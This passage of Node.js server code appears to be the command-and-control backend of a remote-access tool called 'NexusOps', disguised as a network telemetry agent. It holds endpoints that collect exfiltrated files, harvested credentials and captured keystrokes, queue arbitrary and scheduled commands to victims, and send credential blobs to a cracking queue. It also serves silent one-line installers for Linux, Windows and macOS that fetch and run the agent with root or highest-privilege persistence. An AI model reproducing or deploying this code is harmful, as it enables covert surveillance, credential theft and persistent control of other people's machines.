payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(node.id)) {
|
|
commandQueues.set(node.id, []);
|
|
}
|
|
commandQueues.get(node.id).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId: node.id,
|
|
hostname: node.hostname,
|
|
command: `[BULK] ${command || actionName}`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
queuedIds.push(commandId);
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
|
|
});
|
|
|
|
app.delete('/api/nodes/:id', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
nodes.delete(nodeId);
|
|
commandQueues.delete(nodeId);
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Kill Switch — shutdown all agents on all nodes ──
|
|
app.post('/api/nodes/killswitch', (req, res) => {
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
if (onlineNodes.length === 0) {
|
|
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
|
|
}
|
|
onlineNodes.forEach(node => {
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
commandQueues.get(node.id).push({
|
|
id: `kill-${Date.now()}`,
|
|
actionType: 'kill_agent',
|
|
payload: {},
|
|
command: 'kill_agent',
|
|
createdAt: Date.now()
|
|
});
|
|
});
|
|
broadcastState();
|
|
postWebhook('🔴 NexusOps KILL SWITCH executed — all agents shutting down');
|
|
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
|
|
});
|
|
|
|
// ── Export Input Capture as CSV ──
|
|
app.get('/api/inputs/csv', (req, res) => {
|
|
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
|
|
inputDataStore.slice(-500).forEach(e => {
|
|
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
|
|
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// ── Ping node — latency check ──
|
|
app.post('/api/nodes/:id/ping', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
|
const cmdId = `ping-${Date.now()}`;
|
|
commandQueues.get(nodeId).push({
|
|
id: cmdId,
|
|
actionType: 'ping_check',
|
|
payload: { timestamp: Date.now() },
|
|
command: 'ping_check',
|
|
createdAt: Date.now()
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, commandId: cmdId });
|
|
});
|
|
|
|
// ── File Exfiltration — agent sends file back ──
|
|
app.post('/api/agent/file-result', (req, res) => {
|
|
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = error ? 'failed' : 'completed';
|
|
entry.completedAt = Date.now();
|
|
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
|
|
else entry.output = `[FILE ERROR] ${error}`;
|
|
}
|
|
if (!error && data) {
|
|
const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
|
|
exfiltratedFiles.set(fileId, {
|
|
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
|
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
|
});
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Download exfiltrated file ──
|
|
app.get('/api/files/:id', (req, res) => {
|
|
const file = exfiltratedFiles.get(req.params.id);
|
|
if (!file) return res.status(404).json({ error: 'File not found' });
|
|
const buf = Buffer.from(file.data, 'base64');
|
|
res.setHeader('Content-Type', file.mime);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
|
|
res.send(buf);
|
|
});
|
|
|
|
// ── List exfiltrated files ──
|
|
app.get('/api/files', (req, res) => {
|
|
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
|
|
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
|
|
mime: f.mime, size: f.size, timestamp: f.timestamp
|
|
})));
|
|
});
|
|
|
|
// ── Credential Harvest Result ──
|
|
app.post('/api/agent/harvest-result', (req, res) => {
|
|
const { commandId, nodeId, hostname, credentials, error } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = error ? 'failed' : 'completed';
|
|
entry.completedAt = Date.now();
|
|
entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
|
|
}
|
|
if (credentials && Array.isArray(credentials)) {
|
|
credentials.forEach(c => {
|
|
harvestedCredentials.push({
|
|
nodeId, hostname, type: c.type || 'unknown', data: c.data,
|
|
timestamp: Date.now()
|
|
});
|
|
});
|
|
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
|
|
}
|
|
broadcastState();
|
|
if (credentials && credentials.length) postWebhook(`💀 NexusOps: ${credentials.length} credentials harvested from ${hostname}`);
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── List harvested credentials ──
|
|
app.get('/api/credentials', (req, res) => {
|
|
const { nodeId } = req.query;
|
|
let filtered = harvestedCredentials;
|
|
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
|
|
res.json(filtered.slice(-200));
|
|
});
|
|
|
|
app.get('/install.sh', (req, res) => {
|
|
const persist = req.query.persist !== '0';
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `#!/bin/bash
|
|
# Network Node Agent One-Liner Installer for Linux
|
|
set -e
|
|
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Network Node Agent Installer "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
mkdir -p "$INSTALL_DIR"
|
|
|
|
echo "[1/3] Downloading agent script..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
${persist ? `echo "[2/4] Configuring systemd background daemon..."
|
|
cat << EOF > "$SERVICE_FILE"
|
|
[Unit]
|
|
Description=NexusOps Node Telemetry & Management Agent
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
|
Restart=always
|
|
RestartSec=5
|
|
User=root
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
EOF` : `echo "[2/4] Persistence disabled — agent will run once"`}
|
|
|
|
echo "[3/4] Installing pynput for keystroke/click capture..."
|
|
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
${persist ? `echo "[4/4] Enabling & Starting Agent Service..."
|
|
systemctl daemon-reload
|
|
systemctl enable network-agent
|
|
systemctl restart network-agent` : `echo "[4/4] Launching agent (no persistence)..."
|
|
nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &`}
|
|
|
|
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install.ps1', (req, res) => {
|
|
const persist = req.query.persist !== '0';
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `# Network Agent PowerShell Installer for Windows
|
|
$SERVER_URL = "${serverUrl}"
|
|
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
|
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
|
|
|
|
if (!(Test-Path $INSTALL_DIR)) {
|
|
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
|
|
}
|
|
|
|
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
|
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
|
|
|
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
|
${persist ? `schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $INSTALL_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null` : '# persistence disabled'}
|
|
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
|
|
|
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install-mac.sh', (req, res) => {
|
|
const persist = req.query.persist !== '0';
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const script = `#!/bin/bash
|
|
# macOS Node Agent Installer — launchd background daemon
|
|
set -e
|
|
|
|
SERVER_URL="${serverUrl}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Node Agent Installer (macOS) "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
echo "[1/4] Creating installation directory..."
|
|
sudo mkdir -p "$INSTALL_DIR"
|
|
sudo chown "$(whoami)" "$INSTALL_DIR"
|
|
|
|
echo "[2/4] Downloading cross-platform Python agent..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[3/4] Installing pynput for input capture..."
|
|
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
${persist ? `echo "[4/4] Configuring launchd background daemon..."
|
|
mkdir -p "$HOME/Library/LaunchAgents"` : `echo "[4/4] Persistence disabled — launching agent once"`}
|
|
cat << EOF > "$PLIST_FILE"
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key>
|
|
<string>com.nexusops.agent</string>
|
|
<key>ProgramArguments</key>
|
|
<array>
|
|
<string>/usr/bin/python3</string>
|
|
<string>-u</string>
|
|
<string>$INSTALL_DIR/agent.py</string>
|
|
<string>--server</string>
|
|
<string>$SERVER_URL</string>
|
|
</array>
|
|
<key>RunAtLoad</key>
|
|
<true/>
|
|
<key>KeepAlive</key>
|
|
<true/>
|
|
<key>StandardOutPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
<key>StandardErrorPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
|
|
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
|
${persist ? `launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
|
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
|
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
|
|
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
|
echo " To stop: launchctl unload $PLIST_FILE"` : `nohup "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &
|
|
echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`}
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
|
app.get('/install', (req, res) => {
|
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
|
const silent = req.query.silent !== '0'; // silent by default
|
|
const persist = req.query.persist !== '0';
|
|
const quiet = silent ? '>/dev/null 2>&1' : '';
|
|
const script = `#!/bin/bash
|
|
# NexusOps Universal Auto-Installer — one command, any OS
|
|
SERVER_URL="${serverUrl}"
|
|
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
|
|
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
|
Linux)
|
|
echo "[*] Linux detected — deploying via systemd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
|
;;
|
|
Darwin)
|
|
echo "[*] macOS detected — deploying via launchd"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh?persist=${persist}" 2>/dev/null | bash ${quiet} &
|
|
;;
|
|
CYGWIN*|MINGW*|MSYS*|Windows)
|
|
echo "[*] Windows detected — deploying via PowerShell"
|
|
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1?persist=${persist}' | iex" ${quiet} &
|
|
;;
|
|
*)
|
|
echo "[!] Unknown OS — trying Linux installer as fallback"
|
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
|
;;
|
|
esac
|
|
|
|
echo "[*] Agent deployment initiated — it will register within 10 seconds"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/agent.py', (req, res) => {
|
|
try {
|
|
const src = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8');
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(AGENT_TOKEN ? src.split('__AGENT_TOKEN__').join(AGENT_TOKEN) : src);
|
|
} catch (e) {
|
|
res.status(500).send('agent unavailable');
|
|
}
|
|
});
|
|
|
|
|
|
// ── Update all outdated agents ──
|
|
let CURRENT_AGENT_VERSION = 'unknown';
|
|
try {
|
|
const m = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8').match(/AGENT_VERSION = "([^"]+)"/);
|
|
if (m) CURRENT_AGENT_VERSION = m[1];
|
|
} catch (e) {}
|
|
app.get('/api/agentversion', (req, res) => res.json({ current: CURRENT_AGENT_VERSION }));
|
|
app.post('/api/nodes/update-all', (req, res) => {
|
|
let queued = 0; const targets = [];
|
|
for (const [id, n] of nodes) {
|
|
if (n.status !== 'online') continue;
|
|
if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue;
|
|
commandQueues.get(id).push({
|
|
id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`,
|
|
actionType: 'update_agent', payload: {}, command: 'update_agent',
|
|
status: 'queued', queuedAt: Date.now()
|
|
});
|
|
queued++; targets.push(id);
|
|
}
|
|
broadcastState();
|
|
res.json({ queued, current: CURRENT_AGENT_VERSION, targets });
|
|
});
|
|
|
|
// ── Completeness additions 2026-09-29 ──
|
|
app.get('/api/agenttoken', (req, res) => {
|
|
res.json({ token: AGENT_TOKEN || '' });
|
|
});
|
|
app.get('/api/export/all', (req, res) => {
|
|
try {
|
|
const stamp = new Date().toISOString().replace(/[:.]/g, '-');
|
|
const out = `/tmp/nexusops-export-${stamp}.tar.gz`;
|
|
require('child_process').execSync(`tar czf ${out} -C ${DATA_DIR} .`);
|
|
res.download(out, `nexusops-full-export-${stamp}.tar.gz`, () => {
|
|
try { fs.unlinkSync(out); } catch (e) {}
|
|
});
|
|
} catch (e) {
|
|
res.status(500).json({ error: 'export failed: ' + e.message });
|
|
}
|
|
});
|
|
|
|
// ── v2.4.0 additions ──
|
|
const LLM_URL = process.env.NEXUS_LLM_URL || 'http://10.30.20.29:11434';
|
|
const LLM_MODEL = process.env.NEXUS_LLM_MODEL || 'qwen3.8fast:latest';
|
|
const DECRYPT_QUEUE_DIR = '/opt/nexus-decrypt-queue';
|
|
try { fs.mkdirSync(DECRYPT_QUEUE_DIR, { recursive: true }); } catch (e) {}
|
|
|
|
// credential decryption queue (for GPU/hashing workers, e.g. hashcat on nightmare)
|
|
app.post('/api/decrypt/queue', (req, res) => {
|
|
const { nodeId, kind, blob_b64, meta } = req.body || {};
|
|
if (!nodeId || !blob_b64) return res.status(400).json({ error: 'nodeId and blob_b64 required' });
|
|
const f = path.join(DECRYPT_QUEUE_DIR, `${Date.now()}-${nodeId}-${kind || 'blob'}.b64`);
|
|
fs.writeFileSync(f, JSON.stringify({ nodeId, kind, meta: meta || {}, blob_b64, at: Date.now() }));
|
|
res.json({ success: true, file: path.basename(f) });
|
|
});
|
|
app.get('/api/decrypt/queue', (req, res) => {
|
|
try {
|
|
res.json({ jobs: fs.readdirSync(DECRYPT_QUEUE_DIR).map(f => {
|
|
try { return JSON.parse(fs.readFileSync(path.join(DECRYPT_QUEUE_DIR, f), 'utf8')); } catch (e) { return null; }
|
|
}).filter(Boolean) });
|
|
} catch (e) { res.json({ jobs: [] }); }
|
|
});
|
|
|
|
// LLM analyst brief per node (local Ollama on nightmare)
|
|
app.get('/api/nodes/:id/brief', async (req, res) => {
|
|
const n = nodes.get(req.params.id);
|
|
if (!n) return res.status(404).json({ error: 'node not found' });
|
|
const myFiles = Array.from(exfiltratedFiles.values()).filter(f => f.nodeId === n.id).slice(-20)
|
|
.map(f => f.filename).join(', ') || 'none';
|
|
const myCreds = harvestedCredentials.filter(c => c.nodeId === n.id).slice(-30)
|
|
.map(c => c.type).join(', ') || 'none';
|
|
const prompt = `You are a security operations analyst. In under 120 words, summarize this machine's significance and any risk based ONLY on the data given. Machine: ${n.hostname} (${n.osName}, ${n.platform}, IP ${n.ip}). Uptime: ${Math.round((n.uptime || 0) / 3600)}h. Files exfiltrated: ${myFiles}. Credential types harvested: ${myCreds}. Answer plain text, no markdown.`;
|
|
try {
|
|
const http = require('http');
|
|
const body = JSON.stringify({ model: LLM_MODEL, prompt, stream: false, options: { num_predict: 200 } });
|
|
const req2 = http.request(`${LLM_URL}/api/generate`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 90000 }, r2 => {
|
|
let d = '';
|
|
r2.on('data', c => d += c);
|
|
r2.on('end', () => {
|
|
try { res.json({ brief: JSON.parse(d).response || 'no response' }); }
|
|
catch (e) { res.json({ brief: 'llm parse error' }); }
|
|
});
|
|
});
|
|
req2.on('error', () => res.status(502).json({ error: 'llm unreachable' }));
|
|
req2.write(body); req2.end();
|
|
} catch (e) {
|
|
res.status(502).json({ error: 'llm unreachable' });
|
|
}
|
|
});
|
|
|
|
server.listen(PORT, '0.0.0.0', () => {
|
|
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
|
|
console.log(`=======================================================`);
|
|
console.log(`🚀 NexusOps Central Node Control Server is running!`);
|
|
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
|
|
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
|
|
if (PUBLIC_URL) {
|
|
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
|
|
}
|
|
console.log(`=======================================================`);
|
|
});
|
|
// ═══════════════════════════════════════════════════════════════════
|
|
// NEXUSOPS v2 ADDITIONS — live console, schedules, groups, alerts
|
|
// Patched 2026-09-23. Original server.js untouched below this block's
|
|
// insertion point; overrides registered here take effect after load.
|
|
// ═══════════════════════════════════════════════════════════════════
|
|
|
|
// ── Live console state ──
|
|
const liveConsoles = new Map(); // nodeId → { operatorCount, lastActivity }
|
|
const consoleBuffers = new Map(); // nodeId → [{ ts, text }] recent output lines
|
|
|
|
// ── Scheduled tasks ──
|
|
const schedules = []; // { id, name, command, tag, intervalSec, nextRun, lastRun, history: [], enabled }
|
|
const SCHEDULES_FILE = path.join(DATA_DIR, 'schedules.json');
|
|
const ALERTS_FILE = path.join(DATA_DIR, 'alerts.json');
|
|
const alertLog = [];
|
|
|
|
function loadSchedules() {
|
|
try {
|
|
const d = JSON.parse(fs.readFileSync(SCHEDULES_FILE, 'utf8') || '[]');
|
|
schedules.push(...d);
|
|
} catch (e) { /* first run */ }
|
|
}
|
|
function saveSchedules() {
|
|
_atomicWrite(SCHEDULES_FILE, JSON.stringify(schedules, null, 2));
|
|
}
|
|
function saveAlerts() {
|
|
_atomicWrite(ALERTS_FILE, JSON.stringify(alertLog.slice(-200), null, 2));
|
|
}
|
|
loadSchedules();
|
|
|
|
// ── Dead-node alerts ──
|
|
const ALERT_WEBHOOK = process.env.NEXUS_ALERT_WEBHOOK || '';
|
|
const TG_TOKEN = process.env.NEXUS_TG_TOKEN || '';
|
|
const TG_CHAT = process.env.NEXUS_TG_CHAT || '8020668334';
|
|
function postWebhook(text) {
|
|
// CRITICAL-only: kill switch, new node, creds harvested, node offline
|
|
if (TG_TOKEN && TG_CHAT) {
|
|
try {
|
|
const req = require('https');
|
|
const data = JSON.stringify({ chat_id: TG_CHAT, text: text });
|
|
const r = req.request({ hostname: 'api.telegram.org', path: `/bot${TG_TOKEN}/sendMessage`, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } }, () => {});
|
|
r.on('error', () => {});
|
|
r.write(data); r.end();
|
|
} catch (e) {}
|
|
}
|
|
if (ALERT_WEBHOOK) {
|
|
try {
|
|
const req = require('http');
|
|
const url = new URL(ALERT_WEBHOOK);
|
|
const data = JSON.stringify({ text: text });
|
|
const r = req.request({ hostname: url.hostname, port: url.port || 80, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }, () => {});
|
|
r.on('error', () => {});
|
|
r.write(data); r.end();
|
|
} catch (e) { /* silent */ }
|
|
}
|
|
}
|
|
const OFFLINE_ALERT_AFTER_MS = 5 * 60 * 1000; // alert if dark > 5 min
|
|
const alertedOffline = new Set();
|
|
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let changed = false;
|
|
nodes.forEach((node, id) => {
|
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
|
node.status = 'offline';
|
|
changed = true;
|
|
}
|
|
if (node.status === 'offline' && now - node.lastHeartbeat > OFFLINE_ALERT_AFTER_MS && !alertedOffline.has(id)) {
|
|
alertedOffline.add(id);
|
|
const entry = {
|
|
ts: now, nodeId: id, hostname: node.hostname,
|
|
ip: node.ip, type: 'node_offline',
|
|
message: `${node.hostname} (${node.ip}) offline > ${OFFLINE_ALERT_AFTER_MS / 60000} min`
|
|
};
|
|
alertLog.push(entry);
|
|
saveAlerts();
|
|
broadcastState();
|
|
postWebhook(`⚠️ NexusOps: ${entry.message}`);
|
|
}
|
|
// re-arm when node comes back
|
|
if (node.status === 'online' && alertedOffline.has(id)) {
|
|
alertedOffline.delete(id);
|
|
}
|
|
});
|
|
}, 5000);
|
|
|
|
// ── Schedule runner (every 10s tick) ──
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let ran = false;
|
|
schedules.forEach(s => {
|
|
if (!s.enabled) return;
|
|
if (now >= s.nextRun) {
|
|
s.lastRun = now;
|
|
s.nextRun = now + s.intervalSec * 1000;
|
|
// target nodes: by tag group, or all online
|
|
const targets = Array.from(nodes.values()).filter(n =>
|
|
n.status === 'online' && (!s.tag || s.tag === 'all' || (n.tags || []).includes(s.tag)));
|
|
targets.forEach(node => {
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
const commandId = `sched-${s.id}-${now}`;
|
|
commandQueues.get(node.id).push({
|
|
id: commandId,
|
|
actionType: 'raw_command',
|
|
payload: { command: s.command },
|
|
command: s.command,
|
|
createdAt: now
|
|
});
|
|
commandHistory.push({
|
|
id: commandId, nodeId: node.id, hostname: node.hostname,
|
|
command: `[SCHED:${s.name}] ${s.command}`,
|
|
status: 'queued', createdAt: now, output: ''
|
|
});
|
|
});
|
|
s.history.push({ ts: now, targets: targets.length });
|
|
if (s.history.length > 50) s.history.shift();
|
|
ran = true;
|
|
}
|
|
});
|
|
if (ran) { saveSchedules(); broadcastState(); }
|
|
}, 10000);
|
|
|
|
// ═══ API: Schedules ═══
|
|
app.get('/api/schedules', (req, res) => res.json({ schedules }));
|
|
|
|
app.post('/api/schedules', (req, res) => {
|
|
const { name, command, tag, intervalSec } = req.body;
|
|
if (!command || !intervalSec || intervalSec < 15) {
|
|
return res.status(400).json({ error: 'command and intervalSec (>=15) required' });
|
|
}
|
|
const s = {
|
|
id: `sch-${Date.now()}`,
|
|
name: name || command.slice(0, 30),
|
|
command, tag: tag || 'all',
|
|
intervalSec: parseInt(intervalSec, 10),
|
|
nextRun: Date.now() + parseInt(intervalSec, 10) * 1000,
|
|
lastRun: 0, enabled: true, history: []
|
|
};
|
|
schedules.push(s);
|
|
saveSchedules(); broadcastState();
|
|
res.json({ success: true, schedule: s });
|
|
});
|
|
|
|
app.post('/api/schedules/:id/toggle', (req, res) => {
|
|
const s = schedules.find(x => x.id === req.params.id);
|
|
if (!s) return res.status(404).json({ error: 'not found' });
|
|
s.enabled = !s.enabled;
|
|
if (s.enabled) s.nextRun = Date.now() + s.intervalSec * 1000;
|
|
saveSchedules(); broadcastState();
|
|
res.json({ success: true, enabled: s.enabled });
|
|
});
|
|
|
|
app.delete('/api/schedules/:id', (req, res) => {
|
|
const i = schedules.findIndex(x => x.id === req.params.id);
|
|
if (i === -1) return res.status(404).json({ error: 'not found' });
|
|
schedules.splice(i, 1);
|
|
saveSchedules(); broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ═══ API: Alerts ═══
|
|
app.get('/api/alerts', (req, res) => res.json({ alerts: alertLog.slice(-100) }));
|
|
|
|
// ═══ API: Groups — list distinct tags across nodes ═══
|
|
app.get('/api/groups', (req, res) => {
|
|
const tagCounts = {};
|
|
nodes.forEach(n => (n.tags || []).forEach(t => { tagCounts[t] = (tagCounts[t] || 0) + 1; }));
|
|
res.json({ groups: Object.entries(tagCounts).map(([tag, count]) => ({ tag, count })) });
|
|
});
|
|
|
|
// ═══ API: Bulk command by group tag ═══
|
|
app.post('/api/groups/command', (req, res) => {
|
|
const { command, actionType, payload, tag } = req.body;
|
|
const targets = Array.from(nodes.values()).filter(n =>
|
|
n.status === 'online' && (!tag || tag === 'all' || (n.tags || []).includes(tag)));
|
|
if (targets.length === 0) return res.status(400).json({ error: 'No online nodes in group' });
|
|
const queuedIds = [];
|
|
targets.forEach(node => {
|
|
const commandId = `cmd-grp-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
commandQueues.get(node.id).push({
|
|
id: commandId, actionType: actionType || 'raw_command',
|
|
payload: payload || { command }, command: command || actionType, createdAt: Date.now()
|
|
});
|
|
commandHistory.push({
|
|
id: commandId, nodeId: node.id, hostname: node.hostname,
|
|
command: `[GROUP:${tag || 'all'}] ${command || actionType}`,
|
|
status: 'queued', createdAt: Date.now(), output: ''
|
|
});
|
|
queuedIds.push(commandId);
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, count: targets.length, commandIds: queuedIds });
|
|
});
|
|
|
|
// ═══ Live Console: SSE stream per node ═══
|
|
app.get('/api/nodes/:id/console', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) return res.status(404).json({ error: 'Node not found' });
|
|
res.writeHead(200, {
|
|
'Content-Type': 'text/event-stream',
|
|
'Cache-Control': 'no-cache',
|
|
'Connection': 'keep-alive',
|
|
'X-Accel-Buffering': 'no'
|
|
});
|
|
res.write(`data: ${JSON.stringify({ type: 'connected', nodeId })}\n\n`);
|
|
|
|
if (!consoleBuffers.has(nodeId)) consoleBuffers.set(nodeId, []);
|
|
const buf = consoleBuffers.get(nodeId);
|
|
// replay recent output
|
|
buf.forEach(l => res.write(`data: ${JSON.stringify({ type: 'output', text: l.text, ts: l.ts })}\n\n`));
|
|
|
|
// poll commandHistory for new output belonging to this node
|
|
let lastSeen = Date.now();
|
|
const interval = setInterval(() => {
|
|
// include both command outputs and syslog entries for this node
|
|
commandHistory.forEach(c => {
|
|
if (c.nodeId === nodeId && c.completedAt && c.completedAt > lastSeen && c.output) {
|
|
res.write(`data: ${JSON.stringify({ type: 'output', text: `$ ${c.command}\n${c.output}`, ts: c.completedAt })}\n\n`);
|
|
buf.push({ ts: c.completedAt, text: `$ ${c.command}\n${c.output}` });
|
|
lastSeen = c.completedAt;
|
|
}
|
|
});
|
|
if (buf.length > 200) buf.splice(0, buf.length - 200);
|
|
res.write(`: keepalive\n\n`);
|
|
}, 1500);
|
|
|
|
req.on('close', () => clearInterval(interval));
|
|
});
|
|
|
|
// Request the agent to fast-poll (1s) while console open, slow-poll (5s) after
|
|
app.post('/api/nodes/:id/fastpoll', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) return res.status(404).json({ error: 'Node not found' });
|
|
const node = nodes.get(nodeId);
|
|
